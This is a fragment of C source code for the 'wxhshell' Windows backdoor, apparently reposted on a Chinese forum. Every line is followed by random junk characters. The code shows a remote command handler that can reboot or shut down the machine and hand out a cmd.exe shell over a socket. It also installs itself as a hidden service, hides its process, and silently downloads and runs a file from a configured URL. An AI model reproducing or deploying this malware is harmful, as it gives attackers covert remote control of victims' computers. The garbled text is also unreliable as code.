  else I =Wc&1g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YHV-|UNF  
  } W/=|/-\]/  
  else { 8_H=^a>2  
HftxS  
    switch(cmd[0]) { +]:2\TTGI  
  CY?G*nS?iK  
  // 帮助 'z=:[#b  
  case '?': { Fk=}iB#(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O)R(==P26P  
    break; [O ",  
  } 8 iC:xcN3  
  // 安装 l]2r)!Q7  
  case 'i': { fR-C0"c  
    if(Install()) .wrL3z_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.5),2  
    else T_<BVM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 02JL*  
    break; Wx)K* 9  
    } ;P?q2jI  
  // 卸载 M] V.!z9B  
  case 'r': { &ogt2<1W  
    if(Uninstall()) fn{S "33"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )wzV $(~  
    else !{_yaVF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0>6DSQq~t(  
    break; 3mt%!}S  
    } xcCl (M]+  
  // 显示 wxhshell 所在路径 \ SCy$,m  
  case 'p': { q$ghLGz  
    char svExeFile[MAX_PATH]; 0_<Nc/(P  
    strcpy(svExeFile,"\n\r"); U!q[e`B  
      strcat(svExeFile,ExeFile); `m%dX'0 E  
        send(wsh,svExeFile,strlen(svExeFile),0); _94s(~g:  
    break; y)J(K*x/$  
    } 0??Yr  
  // 重启 T>]sQPg  
  case 'b': { %EbiMo ]3B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +S{  
    if(Boot(REBOOT)) !)OB@F%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!8zwb=fq  
    else { Re:T9K'e  
    closesocket(wsh); ]gd/}m)1  
    ExitThread(0); 0my9l;X   
    } +$beo2x6  
    break; )BV=|,j  
    } X}JWf<=q  
  // 关机 x6yW:tUG5  
  case 'd': { L=1 ~ f-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8cr NOZS6  
    if(Boot(SHUTDOWN)) F$6? t.@J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0o/B{|rv  
    else { NtZ6$o<Y  
    closesocket(wsh); B%b_/F]e  
    ExitThread(0); B\<ydN  
    } -Ds|qzrN%  
    break; C!UEXj`l9  
    } pzEABA   
  // 获取shell U~QMR-bz  
  case 's': { :0Te4UE;P7  
    CmdShell(wsh); i-13~Dk  
    closesocket(wsh); Va9q`XbyO  
    ExitThread(0); Ol cP(  
    break; %-^}45](q  
  } ep?:;98|t  
  // 退出 E%*AXkJ'dZ  
  case 'x': { BjD&> gO)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 BC`iql5  
    CloseIt(wsh); ER<eX4oU  
    break; z>:U{!5k  
    } eY3=|RR  
  // 离开 <d! 6[,W;  
  case 'q': { X% J%A-k]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6lU|mJ`M  
    closesocket(wsh); t,Q'S`eTU  
    WSACleanup(); ?'+8[OHiF^  
    exit(1); Y\8+}g;KR  
    break; B!`\L!  
        } N9*UMVU  
  } q%.bnF/Yd  
  } M71R -B`-  
OX)BP.h#  
  // 提示信息 RIo'X@zb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <UK5eVQn  
} _S<?t9mS  
  } p,s&61]  
.nPL2zO  
  return; >W~=]&7{s4  
} }z{wQ\  
+/Z0  
// shell模块句柄 y{;u@o?T  
int CmdShell(SOCKET sock) u2,H ]-  
{ H oS|f0  
STARTUPINFO si; 4]u,x`6C  
ZeroMemory(&si,sizeof(si)); r4S=I   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M/)B" q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NCxn^$/+>9  
PROCESS_INFORMATION ProcessInfo; .J:;_4x  
char cmdline[]="cmd"; H\f/n`@,G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1!s!wQgS  
  return 0; N=<=dp(  
} 5])8qb/F  
Wa{%0inZ  
// 自身启动模式 ?GfxBZWJ  
int StartFromService(void) U>1b9G"_  
{ y\z*p&I  
typedef struct GM77Z.Y  
{ Jbkt'Z(&J  
  DWORD ExitStatus; A_]D~HH  
  DWORD PebBaseAddress; n8Q* _?Z/  
  DWORD AffinityMask; _4Ii5CNNU  
  DWORD BasePriority; K~$35c3M  
  ULONG UniqueProcessId; \E~Q1eAJT  
  ULONG InheritedFromUniqueProcessId; ifd}]UMQ  
}   PROCESS_BASIC_INFORMATION; b<8q 92F  
*n;>p_#  
PROCNTQSIP NtQueryInformationProcess; "s> >V,  
a.1`\ $]d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6g8M7<og9R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Z?m`cx  
:K: f^o]s  
  HANDLE             hProcess; 4u7Cm  
  PROCESS_BASIC_INFORMATION pbi; /jvO XS\M  
#Af)n(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d`UF0T  
  if(NULL == hInst ) return 0; 1"M"h_4  
 w}"!l G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x{~_/;\p3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F@Pem  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BU'Ki \  
iY}QgB< M  
  if (!NtQueryInformationProcess) return 0; 9A(n _Rs7?  
Q})t<l+L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k"0%' Y  
  if(!hProcess) return 0; /(y4V  
gZ1N&/9;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4 iik5  
|G>q:]+AV  
  CloseHandle(hProcess); N&x@_t""   
0 PR4g}"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PkjT&e)  
if(hProcess==NULL) return 0; b8eDD+ulk  
"sdcP8])d  
HMODULE hMod; q$ bHO  
char procName[255]; [kVpzpGr  
unsigned long cbNeeded; =;kRk .qzy  
1hF2eNh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M4R%Gr,La  
;|Y2r^c  
  CloseHandle(hProcess); /,=Wy"0TJ  
,oC= {^l{  
if(strstr(procName,"services")) return 1; // 以服务启动 { +i;e]c  
L~'^W/N  
  return 0; // 注册表启动 [3Wsc`Q  
} $0S.@wUG  
mMel,iK=  
// 主模块 C~3@M<X  
int StartWxhshell(LPSTR lpCmdLine)  ]H@v  
{ cP/F| uG5  
  SOCKET wsl; N )b|  
BOOL val=TRUE; Fcu Eeca  
  int port=0; d,Im&j_Z  
  struct sockaddr_in door; v'mJ~tz  
8 /:X& &  
  if(wscfg.ws_autoins) Install(); 8A`p  
uJ2C+$=Ul  
port=atoi(lpCmdLine); ~ex~(AWh  
F] dmc,Q  
if(port<=0) port=wscfg.ws_port; `kaR@t  
|H3?ox*  
  WSADATA data; Q' OuZKhA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *y":@T  
\i&vOH'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xCmI7$uQ#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uIVTs9\  
  door.sin_family = AF_INET; S)Ub/`f{s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N|j;=y!  
  door.sin_port = htons(port); \4]zNV ~x  
RE(=! 8lGR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s$2l"|h>B  
closesocket(wsl); e0G}$ as  
return 1; /e j/&x15  
} P!>{>r4  
{7ZtOe  
  if(listen(wsl,2) == INVALID_SOCKET) { aHVdClD2o  
closesocket(wsl); ? bUpK  
return 1; H L}sqcp  
} a V+o\fId  
  Wxhshell(wsl); T9U2j-lA?  
  WSACleanup(); yP1Y3Tga=  
n '0 $>Q  
return 0; Tvksf!ba  
q|Pt>4c5?  
} f2SU5e2  
|4?}W ,  
// 以NT服务方式启动 I!soV0V U]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yjM@/b  
{ I ]WeZ,E  
DWORD   status = 0; HqnKpZ  
  DWORD   specificError = 0xfffffff; c|!A?>O?i  
q|]0on~ ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  HN~v&,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fv7%TK{oe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DESViQM  
  serviceStatus.dwWin32ExitCode     = 0; 5E oWyy  
  serviceStatus.dwServiceSpecificExitCode = 0; 33,JUQ2u  
  serviceStatus.dwCheckPoint       = 0; E;GR;i{t  
  serviceStatus.dwWaitHint       = 0; lu@>?,<  
dbq{a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Dii?P  
  if (hServiceStatusHandle==0) return; 5?~[|iPv  
"<jEI /  
status = GetLastError(); ,;=( )-  
  if (status!=NO_ERROR) a@_Cx  
{ Mn }Z9S[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v<J;S9u=  
    serviceStatus.dwCheckPoint       = 0; KZ<RDXVT  
    serviceStatus.dwWaitHint       = 0; K9qEi{[  
    serviceStatus.dwWin32ExitCode     = status; T m@1q!G  
    serviceStatus.dwServiceSpecificExitCode = specificError; \gI:`>- x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |n6 Q  
    return; -C'X4C+  
  } w[$nO#  
`j!2uRFe>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  n wZr3r  
  serviceStatus.dwCheckPoint       = 0; h3d\MYO)B  
  serviceStatus.dwWaitHint       = 0; 3Llj_lf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); < 8 Y<w|Hh  
} X,Q=n2X?3  
gy,TT<1)  
// 处理NT服务事件,比如:启动、停止 =@jMx^A"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r?yJ  
{ lKhh=Pc2  
switch(fdwControl) i(f;'fb*  
{ 7+!7]'V  
case SERVICE_CONTROL_STOP: Qdr-GODx  
  serviceStatus.dwWin32ExitCode = 0; LI|HET_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vsz^B :j  
  serviceStatus.dwCheckPoint   = 0; Qhr]eu;z  
  serviceStatus.dwWaitHint     = 0; $t H.np  
  { v4>"p!_C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6L> "m0  
  } :6k DUFj}  
  return; q>:&xR"ra  
case SERVICE_CONTROL_PAUSE: =O'%)Y&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KJ^GUqVl  
  break; '-]BSU  
case SERVICE_CONTROL_CONTINUE: _yB9/F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j _9<=Vu  
  break; 4Z~Dxo  
case SERVICE_CONTROL_INTERROGATE: W]}V<S$  
  break; fQ.>G+0 I>  
}; RGA*7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V1#aDfiW  
} G1^!ej  
@gjdyz  
// 标准应用程序主函数 f uN XY-;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g7z9i[  
{ )zt4'b\)v  
z(X6%p0  
// 获取操作系统版本 Eg29|)qsz  
OsIsNt=GetOsVer(); ;,-Vapz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %e<dV\x?T  
_%TeTNY#  
  // 从命令行安装 !gew;Jz  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7-IeJ6,D  
khIa9Nm  
  // 下载执行文件 PQ"%Z.F"  
if(wscfg.ws_downexe) { <a[8;YQC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }~'Wz*Gm  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7<o;3gR7Kj  
} [IBk-opap  
T|2%b*/  
if(!OsIsNt) { W8h\ s {  
// 如果时win9x,隐藏进程并且设置为注册表启动 B]F7t4Y!  
HideProc(); ^|;4/=bbs  
StartWxhshell(lpCmdLine); K/+C6Y?  
} kD7(}N8YR  
else 5m?$\h  
  if(StartFromService()) Ht^2)~e~:  
  // 以服务方式启动 Y(Ezw !a  
  StartServiceCtrlDispatcher(DispatchTable); +##I4vP  
else 8vW`E_n  
  // 普通方式启动 Q b{5*>  
  StartWxhshell(lpCmdLine); .LR>&N_U  
N4jLbnA  
return 0; >! .9g  
}
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只看该作者 1 发表于: 2006-10-10
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